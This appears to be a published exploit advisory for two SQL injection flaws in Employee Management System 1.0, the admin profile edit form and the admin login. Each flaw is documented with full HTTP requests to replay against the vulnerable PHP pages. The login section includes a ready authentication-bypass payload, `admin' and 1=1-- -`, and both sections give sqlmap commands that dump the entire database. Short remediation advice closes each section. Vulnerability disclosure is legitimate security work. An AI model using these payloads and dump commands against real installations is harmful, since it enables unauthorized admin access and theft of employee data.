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Employee Management System 1.0 SQL Injection

Employee Management System version 1.0 suffers from additional remote SQL injection vulnerabilities. Original discovery of this finding is attributed to Ozlem Balci in January of 2024.

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#sql#vulnerability#web#linux#debian#git#php#auth#firefox
# Exploit Title: Employee Management System 1.0 - `txtfullname` and `txtphone` SQL Injection# Date: 2 Feb 2024# Exploit Author: Yevhenii Butenko# Vendor Homepage: https://www.sourcecodester.com# Software Link: https://www.sourcecodester.com/php/16999/employee-management-system.html# Version: 1.0# Tested on: Debian# CVE : CVE-2024-24499### SQL Injection:> SQL injection is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Usually, it involves the insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system.### Affected Components:> /employee_akpoly/Admin/edit_profile.php> Two parameters `txtfullname` and `txtphone` within admin edit profile mechanism are vulnerable to SQL Injection.![txtfullname](https://github.com/0xQRx/VunerabilityResearch/blob/master/2024/img/admin_edit_txtfullname_sqli.png?raw=true)![txtphone](https://github.com/0xQRx/VunerabilityResearch/blob/master/2024/img/admin_edit_txtphone_sqli.png?raw=true)### Description:> The presence of SQL Injection in the application enables attackers to issue direct queries to the database through specially crafted requests.## Proof of Concept:### SQLMapSave the following request to `edit_profile.txt`:```POST /employee_akpoly/Admin/edit_profile.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedContent-Length: 88Origin: http://localhostConnection: closeReferer: http://localhost/employee_akpoly/Admin/edit_profile.phpUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1txtfullname=Caroline+Bassey&txtphone=0905656&old_image=uploadImage%2Fbird.jpg&btnupdate=```Use `sqlmap` with `-r` option to exploit the vulnerability:```sqlmap -r edit_profile.txt --level 5 --risk 3 --batch --dbms MYSQL --dump```## RecommendationsWhen using this Employee Management System, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters.------------------------# Exploit Title: Employee Management System 1.0 - `txtusername` and `txtpassword` SQL Injection (Admin Login)# Date: 2 Feb 2024# Exploit Author: Yevhenii Butenko# Vendor Homepage: https://www.sourcecodester.com# Software Link: https://www.sourcecodester.com/php/16999/employee-management-system.html# Version: 1.0# Tested on: Debian# CVE : CVE-2024-24497### SQL Injection:> SQL injection is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Usually, it involves the insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system.### Affected Components:> /employee_akpoly/Admin/login.php> Two parameters `txtusername` and `txtpassword` within admin login mechanism are vulnerable to SQL Injection.![txtusername](https://github.com/0xQRx/VunerabilityResearch/blob/master/2024/img/admin_login_txtusername_sqli.png?raw=true)![txtpassword](https://github.com/0xQRx/VunerabilityResearch/blob/master/2024/img/admin_login_txtpassword_sqli.png?raw=true)### Description:> The presence of SQL Injection in the application enables attackers to issue direct queries to the database through specially crafted requests.## Proof of Concept:### Manual ExploitationThe payload `' and 1=1-- -` can be used to bypass authentication within admin login page.```POST /employee_akpoly/Admin/login.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedContent-Length: 61Origin: http://localhostConnection: closeReferer: http://localhost/employee_akpoly/Admin/login.phpCookie: PHPSESSID=lcb84k6drd2tepn90ehe7p9n20Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1txtusername=admin' and 1=1-- -&txtpassword=password&btnlogin=```### SQLMapSave the following request to `admin_login.txt`:```POST /employee_akpoly/Admin/login.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedContent-Length: 62Origin: http://localhostConnection: closeReferer: http://localhost/employee_akpoly/Admin/login.phpUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1txtusername=admin&txtpassword=password&btnlogin=```Use `sqlmap` with `-r` option to exploit the vulnerability:```sqlmap -r admin_login.txt --level 5 --risk 3 --batch --dbms MYSQL --dump```## RecommendationsWhen using this Employee Management System, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters.

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Red Hat Security Advisory 2024-8690-03